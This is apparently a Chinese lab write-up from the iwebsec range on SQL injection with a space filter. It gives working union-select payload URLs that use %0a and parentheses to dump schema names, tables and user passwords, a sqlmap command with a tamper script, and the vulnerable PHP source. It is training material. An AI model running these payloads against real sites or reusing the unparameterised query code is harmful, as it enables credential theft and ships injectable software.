iwebsec-sql注入 07 空格过滤
1.iwebsec-sql注入 01 数字型注入2.iwebsec-sql注入 02 字符型注入3.iwebsec-sql注入 03 bool型注入4.iwebsec-sql注入 04 时间延迟型注入5.iwebsec-sql注入 05 报错型注入6.iwebsec-sql注入 06 宽字节字符型注入
7.iwebsec-sql注入 07 空格过滤
8.iwebsec-sql注入 08 大小写过滤注入9.iwebsec-sql注入 09 双写关键字绕过10.iwebsec-sql注入 10 双重url编码绕过11.iwebsec-sql注入 11 十六进制编码绕过12.iwebsec-sql注入 12 等价函数替换过滤13.iwebsec-sql注入 13 二次注入14.iwebsec-文件上传 01 前端JS过滤绕过15.iwebsec-文件上传 02 文件名过滤绕过16.iwebsec-文件上传 03 Content-Type过滤绕过17.iwebsec-文件上传 04 文件头过滤绕过18.iwebsec-文件上传 05 .htaccess19.iwebsec-文件上传 06 文件截断上传20.iwebsec-文件上传 07 条件竞争21.iwebsec-文件包含 01 本地文件包含22.iwebsec-文件包含 02 本地文件包含绕过23.iwebsec-文件包含 03 session本地文件包含24.iwebsec-文件包含 04 文件头过滤绕过25.iwebsec-文件包含 05 远程文件包含绕过26.iwebsec-文件包含 06 php://filter伪协议27.iwebsec-文件包含 07 php://input伪协议28.iwebsec-文件包含 08 php://input伪协议利用29.iwebsec-文件包含 09 file://伪协议利用30.iwebsec-文件包含 10 data://伪协议利用31.iwebsec-xss 01 反射型xss32.iwebsec-xss 02 存储型xss33.iwebsec-xss 03 DOM型xss34.iwebsec-xss 04 xss修复示例01、题目分析
空格过滤就是将用户输入的空格过滤掉,众所周知,sql注入语句中会有很多的sql注入语句,如果进行了空格过滤,那么sql注入语句会因为参数连接在一快导致不能正常注入
02、手工注入
既然是数字型注入,那么对sql注入语句中的空格用其他内容替换即可,可以使用/**/、()、%0a等等,我这里使用的是括号以及url编码%0a代表空格
依旧是先测试是字符型还是数字型
id=(0)and(1)=(2) //页面正常但是无数据显示 id=(0)and(1)=(1) //页面正常有回显,数字型
剩下的只需要将sql注入语句中的空格全部替换成编码即可
以下附送python脚本
def replace_spaces(sentence, replacement): # sentence: 输入的语句 # replacement: 要替换空格的特定字符 # 返回替换后的结果 # 使用replace()函数将空格替换为指定字符 replaced_sentence = sentence.replace(' ', replacement) return replaced_sentence # 从用户输入获取语句和要替换的特定字符 input_sentence = input("请输入语句:") replacement_character = '%0a' # 调用函数进行空格替换 result = replace_spaces(input_sentence, replacement_character) # 打印替换后的结果 print("替换后的结果:", result)
-- id=-1就是不显示内容 http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(3) -- 暴库 http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(schema_name)%0Afrom%0Ainformation_schema.schemata) -- 暴表 http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()) -- 暴列 http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(column_name)%0Afrom%0Ainformation_schema.columns%0awhere%0atable_schema=database()and(table_name='users')) -- 暴字段 http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(concat(role,0x7e,username,0x3A,password,0x7e))%0Afrom%0Ausers)
02、工具注入
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/07.php?id=1" --current-db --dump --batch --tamper "space2comment.py"
03、代码分析
<?php if(isset($_GET['id'])){ // 检查是否存在GET参数"id" if (preg_match('/ /', $_GET["id"])) { // 如果"id"参数中包含空格,则终止执行并输出"ERROR" die("ERROR"); } else { // 否则,获取"id"参数的值 $id=$_GET['id']; // 构造SQL查询语句 $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; // 执行SQL查询 $result=mysql_query($sql); } } else { // 如果不存在GET参数"id",则终止执行 exit(); } // 如果查询结果存在 if ($result) { ?> <table class='table table-striped'> <tr><th>id</th><th>name</th><th>age</th></tr> <?php // 循环遍历查询结果集中的每一行 while ($row = mysql_fetch_assoc($result)) { echo "<tr>"; echo "<td>".$row['id']."</td>"; echo "<td>".$row['username']."</td>"; echo "<td>".$row['password']."</td>"; echo "</tr>"; } echo "</table>"; } else { // 如果查询结果不存在,则打印MySQL错误信息 // 注意:下面两行代码被注释掉了,可能会导致错误信息不可见 // echo '<font color= "#FFFFFF">'; print_r(mysql_error()); // echo "</font>"; } // 包含footer.php文件 require_once '../footer.php'; ?>
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步